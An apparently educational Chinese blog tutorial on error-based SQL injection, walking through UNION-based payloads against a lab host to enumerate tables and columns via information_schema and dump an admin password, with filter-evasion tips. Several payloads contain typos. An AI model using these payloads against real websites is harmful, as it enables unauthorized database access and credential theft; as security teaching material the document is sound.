SQL注入 顯錯注入

2021-10-20 18:43:00 字數 3677 閱讀 6332

顯錯注入

步驟1:判斷是否存在注入點

步驟2:猜解字段數

步驟3:聯合查詢找出輸出點

步驟4:去系統自帶庫查詢表名和欄位名

步驟5:查詢我們需要的欄位名

步驟1:判斷是否存在注入點

192.168.1.10/1/? id = 1

這裡可以用id = 1 '來確定是否存在注入點,192.168.1.10/1/? id = 1 and 1 = 1

**注:**and 1 = 1非常容易被過濾掉

或者用sleep(n)函式來確認是否存在注入點:192.168.1.10/1/? id = 1 and sleep ( 10 )

如果網頁存在延遲說明存在注入點

步驟2:猜解字段數

order by 後面跟字段,可以試出資料庫有多少個字段

order by 1: 以第乙個字段排序

order by 2:以第二個字段排序

order by 4:報錯,因為沒有第四個字段

步驟3:聯合查詢找出輸出點

(1)輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,2

輸出:2

(2)輸入:192.168.1.10/1/? id = 1 union select 1,2

輸出:正常頁面

輸入:192.168.1.10/1/? id = 1 union select 1,2 limit 0,1

(and 1 = 2)這裡的不需要報錯也可以使用聯合查詢

select 1,2 這裡的1,2不是必須,1和2好分辨

limit 0,1 表示第乙個資料只顯示1個

limit 1,1 表示第二個資料只顯示1個

**注:**聯合查詢 的前一段和後一段的字段數必須要相等

步驟4:去系統自帶庫查詢表名和欄位名

查詢表名

database( )函式:判斷是在哪個資料庫中

(1)輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,database()

輸出:maoshe (顯示在maoshe這個資料庫裡)

(2)輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,2 from information_schema.tables

輸出:2

information_schema :系統自帶表名

.tables:表

information_schema.tables:代表這個庫里的表名

(3)輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,2 from information_schema.tables where tables_schmea = 』 maoshe 』

輸出:未報錯

tables_schmea:指定這個表名是maoshe

(4)輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema = 』 maoshe 』

輸出:admin (admin如果不是想要查詢的表名)

table_name:查詢表名

(5)(admin如果不是想要查詢的表名)

輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema = 』 maoshe 』 limit 1,1

輸出:adminadmin(第二個表名)

(6)(adminadmin如果不是想要查詢的表名)

輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema = 』 maoshe 』 limit 2,1

輸出:drr(第三個表名)

(7)(drr如果不是想要查詢的表名)

輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema = 』 maoshe 』 limit 3,1

輸出:未顯示 說明只有兩個表名

查詢欄位名

(1)輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.clumns where table_name = 』 admin 』

輸出:id

clumns:系統自帶欄位名

(2)輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.clumns where table_name = 』 admin 』

limit 1,1

輸出:usename

(3)輸入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.clumns where table_name = 』 admin 』

limit 2,1

輸出:password

步驟5:查詢我們需要的欄位名

(1)輸入:192.168.1.10/1/? id = 1 and 1 = 2 union select 1,password from admin

輸出:helloworld

閉合可以用#、%23、–+、–空格(–%20)

其中#和–+在mysql中常用

常用函式:

group_concat( ) 返回由屬於一組的列值連線組合而成的結果

ascll(char) 返回字元的ascll碼值

database( ) 返回當前資料庫名

user()或system_user()返回當前登入使用者名稱

version()返回mysql伺服器的版本

sleep(n) 休眠n秒

and 1 = 1 容易被過濾,可以用and sleep(n)

sleep 有延時說明已經被當成sql語句去執行,所以存在注入

輸入:192.168.1.10/1/? id = 1 and 1 = 2 union select 1,group_contat(table_name) from information_schema.tables where table_schema = 』 maoshe 』

輸出:admin,adminadmin,drr 查詢所有表名

輸入:192.168.1.10/1/? id = 1 and 1 = 2 union select 1,group_contat(column_name) from information_schema.columns where table_schema = 』 qwer 』

輸出:qwer,qwer,qwer 查詢所有欄位名

sql注入之顯錯注入

1.判斷是否存在注入點 在正常輸入後面新增and 1 1 檢視是否正常回顯。如果一切正常說明該處存在注入點。是資料庫查詢的結束標誌。id 1 and 1 1 這裡的?id 1 使用單引號閉合查詢語句。不同的查詢寫法使用響應的閉合方式 2.猜解字段數。每乙個資料庫查詢語句的結果都是乙個 使用order...

mysql錯誤回顯注入 sql注入 顯錯注入

前提知識 資料庫 就是將大量資料把儲存起來,通過計算機加工而成的可以高效訪問資料庫的資料集合 資料庫結構 庫 就是一堆表組成的資料集合 表 類似 excel,由行和列組成的二維表 字段 表中的列稱為字段 記錄 表中的行稱為記錄 單元格 行和列相交的地方稱為單元格 在資料庫裡有乙個系統庫 inform...

SQL注入原理和分析 顯錯注入

sql注入本質 談到sql注入前我們先談談什麼是注入 注入攻擊的本質,是把使用者輸入的資料當做 執行 有兩個關鍵條件 1.使用者輸入的資料控制輸入 2.原本程式要執行的 拼接了使用者輸入的資料然後進行執行 sql注入就是針對sql語句的注入,也可以理解為使用者輸入的資料當作sql語句的 執行。sql...